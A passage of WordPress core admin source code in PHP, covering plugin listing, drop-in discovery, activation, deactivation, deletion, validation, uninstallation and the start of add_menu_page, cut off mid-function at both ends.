	}

	if ( isset( $cache_plugins[ $plugin_folder ] ) ) {
		return $cache_plugins[ $plugin_folder ];
	}

	$wp_plugins  = array();
	$plugin_root = WP_PLUGIN_DIR;
	if ( ! empty( $plugin_folder ) ) {
		$plugin_root .= $plugin_folder;
	}

	// Files in wp-content/plugins directory.
	$plugins_dir  = @opendir( $plugin_root );
	$plugin_files = array();

	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( str_starts_with( $file, '.' ) ) {
				continue;
			}

			if ( is_dir( $plugin_root . '/' . $file ) ) {
				$plugins_subdir = @opendir( $plugin_root . '/' . $file );

				if ( $plugins_subdir ) {
					while ( ( $subfile = readdir( $plugins_subdir ) ) !== false ) {
						if ( str_starts_with( $subfile, '.' ) ) {
							continue;
						}

						if ( str_ends_with( $subfile, '.php' ) ) {
							$plugin_files[] = "$file/$subfile";
						}
					}

					closedir( $plugins_subdir );
				}
			} else {
				if ( str_ends_with( $file, '.php' ) ) {
					$plugin_files[] = $file;
				}
			}
		}

		closedir( $plugins_dir );
	}

	if ( empty( $plugin_files ) ) {
		return $wp_plugins;
	}

	foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( "$plugin_root/$plugin_file" ) ) {
			continue;
		}

		// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false );

		if ( empty( $plugin_data['Name'] ) ) {
			continue;
		}

		$wp_plugins[ plugin_basename( $plugin_file ) ] = $plugin_data;
	}

	uasort( $wp_plugins, '_sort_uname_callback' );

	$cache_plugins[ $plugin_folder ] = $wp_plugins;
	wp_cache_set( 'plugins', $cache_plugins, 'plugins' );

	return $wp_plugins;
}

/**
 * Checks the mu-plugins directory and retrieve all mu-plugin files with any plugin data.
 *
 * WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins).
 *
 * @since 3.0.0
 * @return array[] Array of arrays of mu-plugin data, keyed by plugin file name. See get_plugin_data().
 */
function get_mu_plugins() {
	$wp_plugins   = array();
	$plugin_files = array();

	if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
		return $wp_plugins;
	}

	// Files in wp-content/mu-plugins directory.
	$plugins_dir = @opendir( WPMU_PLUGIN_DIR );
	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( str_ends_with( $file, '.php' ) ) {
				$plugin_files[] = $file;
			}
		}
	} else {
		return $wp_plugins;
	}

	closedir( $plugins_dir );

	if ( empty( $plugin_files ) ) {
		return $wp_plugins;
	}

	foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) ) {
			continue;
		}

		// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false );

		if ( empty( $plugin_data['Name'] ) ) {
			$plugin_data['Name'] = $plugin_file;
		}

		$wp_plugins[ $plugin_file ] = $plugin_data;
	}

	if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php' ) <= 30 ) {
		// Silence is golden.
		unset( $wp_plugins['index.php'] );
	}

	uasort( $wp_plugins, '_sort_uname_callback' );

	return $wp_plugins;
}

/**
 * Declares a callback to sort array by a 'Name' key.
 *
 * @since 3.1.0
 *
 * @access private
 *
 * @param array $a array with 'Name' key.
 * @param array $b array with 'Name' key.
 * @return int Return 0 or 1 based on two string comparison.
 */
function _sort_uname_callback( $a, $b ) {
	return strnatcasecmp( $a['Name'], $b['Name'] );
}

/**
 * Checks the wp-content directory and retrieve all drop-ins with any plugin data.
 *
 * @since 3.0.0
 * @return array[] Array of arrays of dropin plugin data, keyed by plugin file name. See get_plugin_data().
 */
function get_dropins() {
	$dropins      = array();
	$plugin_files = array();

	$_dropins = _get_dropins();

	// Files in wp-content directory.
	$plugins_dir = @opendir( WP_CONTENT_DIR );
	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( isset( $_dropins[ $file ] ) ) {
				$plugin_files[] = $file;
			}
		}
	} else {
		return $dropins;
	}

	closedir( $plugins_dir );

	if ( empty( $plugin_files ) ) {
		return $dropins;
	}

	foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( WP_CONTENT_DIR . "/$plugin_file" ) ) {
			continue;
		}

		// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false );

		if ( empty( $plugin_data['Name'] ) ) {
			$plugin_data['Name'] = $plugin_file;
		}

		$dropins[ $plugin_file ] = $plugin_data;
	}

	uksort( $dropins, 'strnatcasecmp' );

	return $dropins;
}

/**
 * Returns drop-ins that WordPress uses.
 *
 * Includes Multisite drop-ins only when is_multisite()
 *
 * @since 3.0.0
 * @return array[] Key is file name. The value is an array, with the first value the
 *  purpose of the drop-in and the second value the name of the constant that must be
 *  true for the drop-in to be used, or true if no constant is required.
 */
function _get_dropins() {
	$dropins = array(
		'advanced-cache.php'      => array( __( 'Advanced caching plugin.' ), 'WP_CACHE' ),  // WP_CACHE
		'db.php'                  => array( __( 'Custom database class.' ), true ),          // Auto on load.
		'db-error.php'            => array( __( 'Custom database error message.' ), true ),  // Auto on error.
		'install.php'             => array( __( 'Custom installation script.' ), true ),     // Auto on installation.
		'maintenance.php'         => array( __( 'Custom maintenance message.' ), true ),     // Auto on maintenance.
		'object-cache.php'        => array( __( 'External object cache.' ), true ),          // Auto on load.
		'php-error.php'           => array( __( 'Custom PHP error message.' ), true ),       // Auto on error.
		'fatal-error-handler.php' => array( __( 'Custom PHP fatal error handler.' ), true ), // Auto on error.
	);

	if ( is_multisite() ) {
		$dropins['sunrise.php']        = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE
		$dropins['blog-deleted.php']   = array( __( 'Custom site deleted message.' ), true );   // Auto on deleted blog.
		$dropins['blog-inactive.php']  = array( __( 'Custom site inactive message.' ), true );  // Auto on inactive blog.
		$dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // Auto on archived or spammed blog.
	}

	return $dropins;
}

/**
 * Determines whether a plugin is active.
 *
 * Only plugins installed in the plugins/ folder can be active.
 *
 * Plugins in the mu-plugins/ folder can't be "activated," so this function will
 * return false for those plugins.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.5.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True, if in the active plugins list. False, not in the list.
 */
function is_plugin_active( $plugin ) {
	return in_array( $plugin, (array) get_option( 'active_plugins', array() ), true ) || is_plugin_active_for_network( $plugin );
}

/**
 * Determines whether the plugin is inactive.
 *
 * Reverse of is_plugin_active(). Used as a callback.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.1.0
 *
 * @see is_plugin_active()
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if inactive. False if active.
 */
function is_plugin_inactive( $plugin ) {
	return ! is_plugin_active( $plugin );
}

/**
 * Determines whether the plugin is active for the entire network.
 *
 * Only plugins installed in the plugins/ folder can be active.
 *
 * Plugins in the mu-plugins/ folder can't be "activated," so this function will
 * return false for those plugins.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 3.0.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if active for the network, otherwise false.
 */
function is_plugin_active_for_network( $plugin ) {
	if ( ! is_multisite() ) {
		return false;
	}

	$plugins = get_site_option( 'active_sitewide_plugins' );
	if ( isset( $plugins[ $plugin ] ) ) {
		return true;
	}

	return false;
}

/**
 * Checks for "Network: true" in the plugin header to see if this should
 * be activated only as a network wide plugin. The plugin would also work
 * when Multisite is not enabled.
 *
 * Checks for "Site Wide Only: true" for backward compatibility.
 *
 * @since 3.0.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool True if plugin is network only, false otherwise.
 */
function is_network_only_plugin( $plugin ) {
	$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	if ( $plugin_data ) {
		return $plugin_data['Network'];
	}
	return false;
}

/**
 * Attempts activation of plugin in a "sandbox" and redirects on success.
 *
 * A plugin that is already activated will not attempt to be activated again.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the plugin file. If the plugin fails, then the redirection will not
 * be overwritten with the success message. Also, the options will not be
 * updated and the activation hook will not be called on plugin error.
 *
 * It should be noted that in no way the below code will actually prevent errors
 * within the file. The code should not be used elsewhere to replicate the
 * "sandbox", which uses redirection to work.
 * {@source 13 1}
 *
 * If any errors are found or text is outputted, then it will be captured to
 * ensure that the success redirection will update the error redirection.
 *
 * @since 2.5.0
 * @since 5.2.0 Test for WordPress version and PHP version compatibility.
 *
 * @param string $plugin       Path to the plugin file relative to the plugins directory.
 * @param string $redirect     Optional. URL to redirect to.
 * @param bool   $network_wide Optional. Whether to enable the plugin for all sites in the network
 *                             or just the current site. Multisite only. Default false.
 * @param bool   $silent       Optional. Whether to prevent calling activation hooks. Default false.
 * @return null|WP_Error Null on success, WP_Error on invalid file.
 */
function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) {
	$plugin = plugin_basename( trim( $plugin ) );

	if ( is_multisite() && ( $network_wide || is_network_only_plugin( $plugin ) ) ) {
		$network_wide        = true;
		$current             = get_site_option( 'active_sitewide_plugins', array() );
		$_GET['networkwide'] = 1; // Back compat for plugins looking for this value.
	} else {
		$current = get_option( 'active_plugins', array() );
	}

	$valid = validate_plugin( $plugin );
	if ( is_wp_error( $valid ) ) {
		return $valid;
	}

	$requirements = validate_plugin_requirements( $plugin );
	if ( is_wp_error( $requirements ) ) {
		return $requirements;
	}

	if ( $network_wide && ! isset( $current[ $plugin ] )
		|| ! $network_wide && ! in_array( $plugin, $current, true )
	) {
		if ( ! empty( $redirect ) ) {
			// We'll override this later if the plugin can be included without fatal error.
			wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) );
		}

		ob_start();

		// Load the plugin to test whether it throws any errors.
		plugin_sandbox_scrape( $plugin );

		if ( ! $silent ) {
			/**
			 * Fires before a plugin is activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
			do_action( 'activate_plugin', $plugin, $network_wide );

			/**
			 * Fires as a specific plugin is being activated.
			 *
			 * This hook is the "activation" hook used internally by register_activation_hook().
			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
			 *
			 * If a plugin is silently activated (such as during an update), this hook does not fire.
			 *
			 * @since 2.0.0
			 *
			 * @param bool $network_wide Whether to enable the plugin for all sites in the network
			 *                           or just the current site. Multisite only. Default false.
			 */
			do_action( "activate_{$plugin}", $network_wide );
		}

		if ( $network_wide ) {
			$current            = get_site_option( 'active_sitewide_plugins', array() );
			$current[ $plugin ] = time();
			update_site_option( 'active_sitewide_plugins', $current );
		} else {
			$current   = get_option( 'active_plugins', array() );
			$current[] = $plugin;
			sort( $current );
			update_option( 'active_plugins', $current );
		}

		if ( ! $silent ) {
			/**
			 * Fires after a plugin has been activated.
			 *
			 * If a plugin is silently activated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin       Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_wide Whether to enable the plugin for all sites in the network
			 *                             or just the current site. Multisite only. Default false.
			 */
			do_action( 'activated_plugin', $plugin, $network_wide );
		}

		if ( ob_get_length() > 0 ) {
			$output = ob_get_clean();
			return new WP_Error( 'unexpected_output', __( 'The plugin generated unexpected output.' ), $output );
		}

		ob_end_clean();
	}

	return null;
}

/**
 * Deactivates a single plugin or multiple plugins.
 *
 * The deactivation hook is disabled by the plugin upgrader by using the $silent
 * parameter.
 *
 * @since 2.5.0
 *
 * @param string|string[] $plugins      Single plugin or list of plugins to deactivate.
 * @param bool            $silent       Prevent calling deactivation hooks. Default false.
 * @param bool|null       $network_wide Whether to deactivate the plugin for all sites in the network.
 *                                      A value of null will deactivate plugins for both the network
 *                                      and the current site. Multisite only. Default null.
 */
function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
	if ( is_multisite() ) {
		$network_current = get_site_option( 'active_sitewide_plugins', array() );
	}
	$current    = get_option( 'active_plugins', array() );
	$do_blog    = false;
	$do_network = false;

	foreach ( (array) $plugins as $plugin ) {
		$plugin = plugin_basename( trim( $plugin ) );
		if ( ! is_plugin_active( $plugin ) ) {
			continue;
		}

		$network_deactivating = ( false !== $network_wide ) && is_plugin_active_for_network( $plugin );

		if ( ! $silent ) {
			/**
			 * Fires before a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
			do_action( 'deactivate_plugin', $plugin, $network_deactivating );
		}

		if ( false !== $network_wide ) {
			if ( is_plugin_active_for_network( $plugin ) ) {
				$do_network = true;
				unset( $network_current[ $plugin ] );
			} elseif ( $network_wide ) {
				continue;
			}
		}

		if ( true !== $network_wide ) {
			$key = array_search( $plugin, $current, true );
			if ( false !== $key ) {
				$do_blog = true;
				unset( $current[ $key ] );
			}
		}

		if ( $do_blog && wp_is_recovery_mode() ) {
			list( $extension ) = explode( '/', $plugin );
			wp_paused_plugins()->delete( $extension );
		}

		if ( ! $silent ) {
			/**
			 * Fires as a specific plugin is being deactivated.
			 *
			 * This hook is the "deactivation" hook used internally by register_deactivation_hook().
			 * The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
			 *
			 * If a plugin is silently deactivated (such as during an update), this hook does not fire.
			 *
			 * @since 2.0.0
			 *
			 * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                   or just the current site. Multisite only. Default false.
			 */
			do_action( "deactivate_{$plugin}", $network_deactivating );

			/**
			 * Fires after a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $plugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $network_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
			do_action( 'deactivated_plugin', $plugin, $network_deactivating );
		}
	}

	if ( $do_blog ) {
		update_option( 'active_plugins', $current );
	}
	if ( $do_network ) {
		update_site_option( 'active_sitewide_plugins', $network_current );
	}
}

/**
 * Activates multiple plugins.
 *
 * When WP_Error is returned, it does not mean that one of the plugins had
 * errors. It means that one or more of the plugin file paths were invalid.
 *
 * The execution will be halted as soon as one of the plugins has an error.
 *
 * @since 2.6.0
 *
 * @param string|string[] $plugins      Single plugin or list of plugins to activate.
 * @param string          $redirect     Redirect to page after successful activation.
 * @param bool            $network_wide Whether to enable the plugin for all sites in the network.
 *                                      Default false.
 * @param bool            $silent       Prevent calling activation hooks. Default false.
 * @return true|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
 */
function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
	if ( ! is_array( $plugins ) ) {
		$plugins = array( $plugins );
	}

	$errors = array();
	foreach ( $plugins as $plugin ) {
		if ( ! empty( $redirect ) ) {
			$redirect = add_query_arg( 'plugin', $plugin, $redirect );
		}
		$result = activate_plugin( $plugin, $redirect, $network_wide, $silent );
		if ( is_wp_error( $result ) ) {
			$errors[ $plugin ] = $result;
		}
	}

	if ( ! empty( $errors ) ) {
		return new WP_Error( 'plugins_invalid', __( 'One of the plugins is invalid.' ), $errors );
	}

	return true;
}

/**
 * Removes directory and files of a plugin for a list of plugins.
 *
 * @since 2.6.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string[] $plugins    List of plugin paths to delete, relative to the plugins directory.
 * @param string   $deprecated Not used.
 * @return bool|null|WP_Error True on success, false if `$plugins` is empty, `WP_Error` on failure.
 *                            `null` if filesystem credentials are required to proceed.
 */
function delete_plugins( $plugins, $deprecated = '' ) {
	global $wp_filesystem;

	if ( empty( $plugins ) ) {
		return false;
	}

	$checked = array();
	foreach ( $plugins as $plugin ) {
		$checked[] = 'checked[]=' . $plugin;
	}

	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&' . implode( '&', $checked ), 'bulk-plugins' );

	ob_start();
	$credentials = request_filesystem_credentials( $url );
	$data        = ob_get_clean();

	if ( false === $credentials ) {
		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! WP_Filesystem( $credentials ) ) {
		ob_start();
		// Failed to connect. Error and request again.
		request_filesystem_credentials( $url, '', true );
		$data = ob_get_clean();

		if ( ! empty( $data ) ) {
			require_once ABSPATH . 'wp-admin/admin-header.php';
			echo $data;
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		}
		return;
	}

	if ( ! is_object( $wp_filesystem ) ) {
		return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
	}

	if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
		return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
	}

	// Get the base plugin folder.
	$plugins_dir = $wp_filesystem->wp_plugins_dir();
	if ( empty( $plugins_dir ) ) {
		return new WP_Error( 'fs_no_plugins_dir', __( 'Unable to locate WordPress plugin directory.' ) );
	}

	$plugins_dir = trailingslashit( $plugins_dir );

	$plugin_translations = wp_get_installed_translations( 'plugins' );

	$errors = array();

	foreach ( $plugins as $plugin_file ) {
		// Run Uninstall hook.
		if ( is_uninstallable_plugin( $plugin_file ) ) {
			uninstall_plugin( $plugin_file );
		}

		/**
		 * Fires immediately before a plugin deletion attempt.
		 *
		 * @since 4.4.0
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 */
		do_action( 'delete_plugin', $plugin_file );

		$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin_file ) );

		/*
		 * If plugin is in its own directory, recursively delete the directory.
		 * Base check on if plugin includes directory separator AND that it's not the root plugin folder.
		 */
		if ( strpos( $plugin_file, '/' ) && $this_plugin_dir !== $plugins_dir ) {
			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
		} else {
			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin_file );
		}

		/**
		 * Fires immediately after a plugin deletion attempt.
		 *
		 * @since 4.4.0
		 *
		 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
		 * @param bool   $deleted     Whether the plugin deletion was successful.
		 */
		do_action( 'deleted_plugin', $plugin_file, $deleted );

		if ( ! $deleted ) {
			$errors[] = $plugin_file;
			continue;
		}

		$plugin_slug = dirname( $plugin_file );

		if ( 'hello.php' === $plugin_file ) {
			$plugin_slug = 'hello-dolly';
		}

		// Remove language files, silently.
		if ( '.' !== $plugin_slug && ! empty( $plugin_translations[ $plugin_slug ] ) ) {
			$translations = $plugin_translations[ $plugin_slug ];

			foreach ( $translations as $translation => $data ) {
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.po' );
				$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.mo' );

				$json_translation_files = glob( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '-*.json' );
				if ( $json_translation_files ) {
					array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
				}
			}
		}
	}

	// Remove deleted plugins from the plugin updates list.
	$current = get_site_transient( 'update_plugins' );
	if ( $current ) {
		// Don't remove the plugins that weren't deleted.
		$deleted = array_diff( $plugins, $errors );

		foreach ( $deleted as $plugin_file ) {
			unset( $current->response[ $plugin_file ] );
		}

		set_site_transient( 'update_plugins', $current );
	}

	if ( ! empty( $errors ) ) {
		if ( 1 === count( $errors ) ) {
			/* translators: %s: Plugin filename. */
			$message = __( 'Could not fully remove the plugin %s.' );
		} else {
			/* translators: %s: Comma-separated list of plugin filenames. */
			$message = __( 'Could not fully remove the plugins %s.' );
		}

		return new WP_Error( 'could_not_remove_plugin', sprintf( $message, implode( ', ', $errors ) ) );
	}

	return true;
}

/**
 * Validates active plugins.
 *
 * Validate all active plugins, deactivates invalid and
 * returns an array of deactivated ones.
 *
 * @since 2.5.0
 * @return WP_Error[] Array of plugin errors keyed by plugin file name.
 */
function validate_active_plugins() {
	$plugins = get_option( 'active_plugins', array() );
	// Validate vartype: array.
	if ( ! is_array( $plugins ) ) {
		update_option( 'active_plugins', array() );
		$plugins = array();
	}

	if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
		$network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
		$plugins         = array_merge( $plugins, array_keys( $network_plugins ) );
	}

	if ( empty( $plugins ) ) {
		return array();
	}

	$invalid = array();

	// Invalid plugins get deactivated.
	foreach ( $plugins as $plugin ) {
		$result = validate_plugin( $plugin );
		if ( is_wp_error( $result ) ) {
			$invalid[ $plugin ] = $result;
			deactivate_plugins( $plugin, true );
		}
	}
	return $invalid;
}

/**
 * Validates the plugin path.
 *
 * Checks that the main plugin file exists and is a valid plugin. See validate_file().
 *
 * @since 2.5.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return int|WP_Error 0 on success, WP_Error on failure.
 */
function validate_plugin( $plugin ) {
	if ( validate_file( $plugin ) ) {
		return new WP_Error( 'plugin_invalid', __( 'Invalid plugin path.' ) );
	}
	if ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin ) ) {
		return new WP_Error( 'plugin_not_found', __( 'Plugin file does not exist.' ) );
	}

	$installed_plugins = get_plugins();
	if ( ! isset( $installed_plugins[ $plugin ] ) ) {
		return new WP_Error( 'no_plugin_header', __( 'The plugin does not have a valid header.' ) );
	}
	return 0;
}

/**
 * Validates the plugin requirements for WordPress version and PHP version.
 *
 * Uses the information from `Requires at least` and `Requires PHP` headers
 * defined in the plugin's main PHP file.
 *
 * @since 5.2.0
 * @since 5.3.0 Added support for reading the headers from the plugin's
 *              main PHP file, with `readme.txt` as a fallback.
 * @since 5.8.0 Removed support for using `readme.txt` as a fallback.
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return true|WP_Error True if requirements are met, WP_Error on failure.
 */
function validate_plugin_requirements( $plugin ) {
	$plugin_headers = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );

	$requirements = array(
		'requires'     => ! empty( $plugin_headers['RequiresWP'] ) ? $plugin_headers['RequiresWP'] : '',
		'requires_php' => ! empty( $plugin_headers['RequiresPHP'] ) ? $plugin_headers['RequiresPHP'] : '',
	);

	$compatible_wp  = is_wp_version_compatible( $requirements['requires'] );
	$compatible_php = is_php_version_compatible( $requirements['requires_php'] );

	$php_update_message = '</p><p>' . sprintf(
		/* translators: %s: URL to Update PHP page. */
		__( '<a href="%s">Learn more about updating PHP</a>.' ),
		esc_url( wp_get_update_php_url() )
	);

	$annotation = wp_get_update_php_annotation();

	if ( $annotation ) {
		$php_update_message .= '</p><p><em>' . $annotation . '</em>';
	}

	if ( ! $compatible_wp && ! $compatible_php ) {
		return new WP_Error(
			'plugin_wp_php_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current WordPress version, 2: Current PHP version, 3: Plugin name, 4: Required WordPress version, 5: Required PHP version. */
				_x( '<strong>Error:</strong> Current versions of WordPress (%1$s) and PHP (%2$s) do not meet minimum requirements for %3$s. The plugin requires WordPress %4$s and PHP %5$s.', 'plugin' ),
				get_bloginfo( 'version' ),
				PHP_VERSION,
				$plugin_headers['Name'],
				$requirements['requires'],
				$requirements['requires_php']
			) . $php_update_message . '</p>'
		);
	} elseif ( ! $compatible_php ) {
		return new WP_Error(
			'plugin_php_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current PHP version, 2: Plugin name, 3: Required PHP version. */
				_x( '<strong>Error:</strong> Current PHP version (%1$s) does not meet minimum requirements for %2$s. The plugin requires PHP %3$s.', 'plugin' ),
				PHP_VERSION,
				$plugin_headers['Name'],
				$requirements['requires_php']
			) . $php_update_message . '</p>'
		);
	} elseif ( ! $compatible_wp ) {
		return new WP_Error(
			'plugin_wp_incompatible',
			'<p>' . sprintf(
				/* translators: 1: Current WordPress version, 2: Plugin name, 3: Required WordPress version. */
				_x( '<strong>Error:</strong> Current WordPress version (%1$s) does not meet minimum requirements for %2$s. The plugin requires WordPress %3$s.', 'plugin' ),
				get_bloginfo( 'version' ),
				$plugin_headers['Name'],
				$requirements['requires']
			) . '</p>'
		);
	}

	return true;
}

/**
 * Determines whether the plugin can be uninstalled.
 *
 * @since 2.7.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return bool Whether plugin can be uninstalled.
 */
function is_uninstallable_plugin( $plugin ) {
	$file = plugin_basename( $plugin );

	$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );
	if ( isset( $uninstallable_plugins[ $file ] ) || file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
		return true;
	}

	return false;
}

/**
 * Uninstalls a single plugin.
 *
 * Calls the uninstall hook, if it is available.
 *
 * @since 2.7.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return true|void True if a plugin's uninstall.php file has been found and included.
 *                   Void otherwise.
 */
function uninstall_plugin( $plugin ) {
	$file = plugin_basename( $plugin );

	$uninstallable_plugins = (array) get_option( 'uninstall_plugins' );

	/**
	 * Fires in uninstall_plugin() immediately before the plugin is uninstalled.
	 *
	 * @since 4.5.0
	 *
	 * @param string $plugin                Path to the plugin file relative to the plugins directory.
	 * @param array  $uninstallable_plugins Uninstallable plugins.
	 */
	do_action( 'pre_uninstall_plugin', $plugin, $uninstallable_plugins );

	if ( file_exists( WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php' ) ) {
		if ( isset( $uninstallable_plugins[ $file ] ) ) {
			unset( $uninstallable_plugins[ $file ] );
			update_option( 'uninstall_plugins', $uninstallable_plugins );
		}
		unset( $uninstallable_plugins );

		define( 'WP_UNINSTALL_PLUGIN', $file );

		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
		include_once WP_PLUGIN_DIR . '/' . dirname( $file ) . '/uninstall.php';

		return true;
	}

	if ( isset( $uninstallable_plugins[ $file ] ) ) {
		$callable = $uninstallable_plugins[ $file ];
		unset( $uninstallable_plugins[ $file ] );
		update_option( 'uninstall_plugins', $uninstallable_plugins );
		unset( $uninstallable_plugins );

		wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $file );
		include_once WP_PLUGIN_DIR . '/' . $file;

		add_action( "uninstall_{$file}", $callable );

		/**
		 * Fires in uninstall_plugin() once the plugin has been uninstalled.
		 *
		 * The action concatenates the 'uninstall_' prefix with the basename of the
		 * plugin passed to uninstall_plugin() to create a dynamically-named action.
		 *
		 * @since 2.7.0
		 */
		do_action( "uninstall_{$file}" );
	}
}

//
// Menu.
//

/**
 * Adds a top-level menu page.
 *
 * This function takes a capability which will be used to determine whether
 * or not a page is included in the menu.
 *
 * The function which is hooked in to handle the output of the page must check
 * that the user has the required capability as well.
 *
 * @since 1.5.0
 *
 * @global array $menu
 * @global array $admin_page_hooks
 * @global array $_registered_pages
 * @global array $_parent_pages
 *
 * @param string    $page_title The text to be displayed in the title tags of the page when the menu is selected.
 * @param string    $menu_title The text to be used for the menu.
 * @param string    $capability The capability required for this menu to be displayed to the user.
 * @param string    $menu_slug  The slug name to refer to this menu by. Should be unique for this menu page and only
 *                              include lowercase alphanumeric, dashes, and underscores characters to be compatible
 *                              with sanitize_key().
 * @param callable  $callback   Optional. The function to be called to output the content for this page.
 * @param string    $icon_url   Optional. The URL to the icon to be used for this menu.
 *                              * Pass a base64-encoded SVG using a data URI, which will be colored to match
 *                                the color scheme. This should begin with 'data:image/svg+xml;base64,'.
 *                              * Pass the name of a Dashicons helper class to use a font icon,
 *                                e.g. 'dashicons-chart-pie'.
 *                              * Pass 'none' to leave div.wp-menu-image empty so an icon can be added via CSS.
 * @param int|float $position   Optional. The position in the menu order this item should appear.
 * @return string The resulting page's hook_suffix.
 */
function add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $callback = '', $icon_url = '', $position = null ) {
	global $menu, $admin_page_hooks, $_registered_pages, $_parent_pages;

	$menu_slug = plugin_basename( $menu_slug );

	$admin_page_hooks[ $menu_slug ] = sanitize_title( $menu_title );

	$hookname = get_plugin_page_hookname( $menu_slug, '' );

	if ( ! empty( $callback ) && ! empty( $hookname ) && current_user_can( $capability ) ) {
		add_action( $hookname, $callback );
	}

	if ( empty( $icon_url ) ) {
		$icon_url   = 'dashicons-admin-generic';
		$icon_class = 'menu-icon-generic ';
	} else {
		$icon_url   = set_url_scheme( $icon_url );
		$icon_class = '';
	}

	$new_menu = array( $menu_title, $capability, $menu_slug, $page_title, 'menu-top ' . $icon_class . $hookname, $hookname, $icon_url );

	if ( null !== $position && ! is_numeric( $position ) ) {
		_doing_it_wrong(
			__FUNCTION__,
